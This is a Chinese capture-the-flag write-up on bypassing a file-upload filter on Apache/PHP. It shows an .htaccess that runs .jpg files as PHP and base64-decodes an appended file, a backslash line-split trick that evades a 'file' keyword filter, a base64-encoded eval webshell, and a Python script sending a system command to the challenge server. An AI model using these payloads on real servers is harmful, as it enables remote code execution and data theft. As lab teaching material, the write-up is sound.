对apache服务器环境下利用.htaccess配置文件完成文件上传的理解

对apache服务器环境下利用.htaccess配置文件完成文件上传的理解

.htaccess 文件是 Apache Web 服务器中的配置文件,用于控制服务器的行为。其格式非常简单,通常由一系列指令和规则组成

我们这里可以利用的就是把别的格式的文件当作php文件来执行

复制代码
AddType application/x-httpd-php .jpg
  1. AddType
    • AddType 是 Apache 配置指令,用于为特定的文件扩展名指定 MIME 类型。MIME 类型(Multipurpose Internet Mail Extensions)用于指示浏览器如何处理某种类型的文件。
  2. application/x-httpd-php
    • application/x-httpd-php 是指定的 MIME 类型。在这里,它表示文件将被作为 PHP 脚本来处理。
    • 正常情况下,PHP 文件的 MIME 类型通常是 application/x-httpd-php,这意味着该文件应由 PHP 解析器处理,而不是由浏览器直接下载或展示。
  3. .jpg
    • .jpg 是目标文件的扩展名。在此指令中,它表示所有以 .jpg 结尾的文件。

整体作用

当这条指令被包含在 .htaccess 文件或 Apache 配置中时,它的效果是:

  • 任何请求后缀为 .jpg 的文件将被 Apache 服务器视作 PHP 文件进行处理。这意味着即使文件的扩展名是 .jpg,服务器仍然会将其当作 PHP 脚本执行,而不是作为普通的图像文件返回。

例题 polarctf 困难 上传

回到这道题,明白了htaccess的用法之后我们就可以传马了

script头可以绕过对<?的过滤,但是在php7之后这些标签都被移除了,因此可以采取编码的方式绕过,将我们要上传的一句话木马使用base64编码后进行上传

php肯定没法解析base64编码后的代码,所以在执行前需要进行base64解码,这里同样需要利用htaccess进行解码

复制代码
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=yjh.jpg"
  1. php_value
    • php_value 是一种指令,通常在 Apache 的 .htaccess 文件中使用,用于设置 PHP 的配置选项。这允许用户在特定目录下更改某些 PHP 设置,而不必修改全局的 php.ini 文件。
  2. auto_append_file
    • auto_append_file 是一个 PHP 配置选项,用于指定在每个脚本执行完毕后自动附加的文件。这意味着在每个 PHP 脚本结束时,指定的文件内容将被添加到输出中。
  3. "php://filter/read=convert.base64-decode/resource=yjh.jpg"
    • 这是一个特殊的流路径,使用了php:filter这个协议。具体来说,它做了以下几件事情:
      • read=convert.base64-decode:这是一个过滤器,指示 PHP 在读取文件时,对其执行 Base64 解码。即该路径会将文件的内容视作 Base64 编码的内容进行解码。
      • resource=yjh.jpg :这是要读取的资源,这里指定的文件是 yjh.jpg,即该 JPEG 文件。

整体作用

通过设置 auto_append_file 为这个流路径,PHP 在处理每个请求时:

  • 在执行完 PHP 脚本后,自动读取指定的 JPEG 文件 (yjh.jpg),并对其内容进行 Base64 解码。
  • 将解码后的内容附加到最终的输出中。

这里还要注意一个问题

由于本题过滤了文件内容中的file,所以我们需要利用反斜杠加换行绕过file过滤

在 PHP 和许多编程语言或配置文件中,反斜杠(\)可以用作行续符,允许将一条指令拆分为多行书写。这种方式可以在代码或配置中增强可读性,但是在某些情况下,它也可以作为一种简单的"绕过"机制,避免触发特定文本的过滤或识别。

通过在 file 和其后内容之间插入反斜杠并换行,关键词 file 被拆分为两部分,使得过滤机制不再能识别完整的 file 这个关键词。

例如,php_value auto_append_fi\ 作为一行,\le 在下一行,其实是在继续前一行的内容,从而构成了 auto_append_file由于过滤机制只检测单行 ,因此无法判断 file 是整个关键词的一部分。

复制代码
php_value auto_append_fi\
le

至此本题思路结束

上传htaccess文件

复制代码
AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=yjh.jpg"

上传base64编码后的一句话马文件

复制代码
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

上传,访问/upload/yjh.jpg,传参,拿到flag

Exp

python 复制代码
import requests
url='http://949c4480-402d-40c7-8119-4af0266f6c9e.www.polarctf.com:8090/upload/yjh.jpg'
data={'a':'system("cat /f*");'}
r=requests.post(url,data=data)
print(r.text)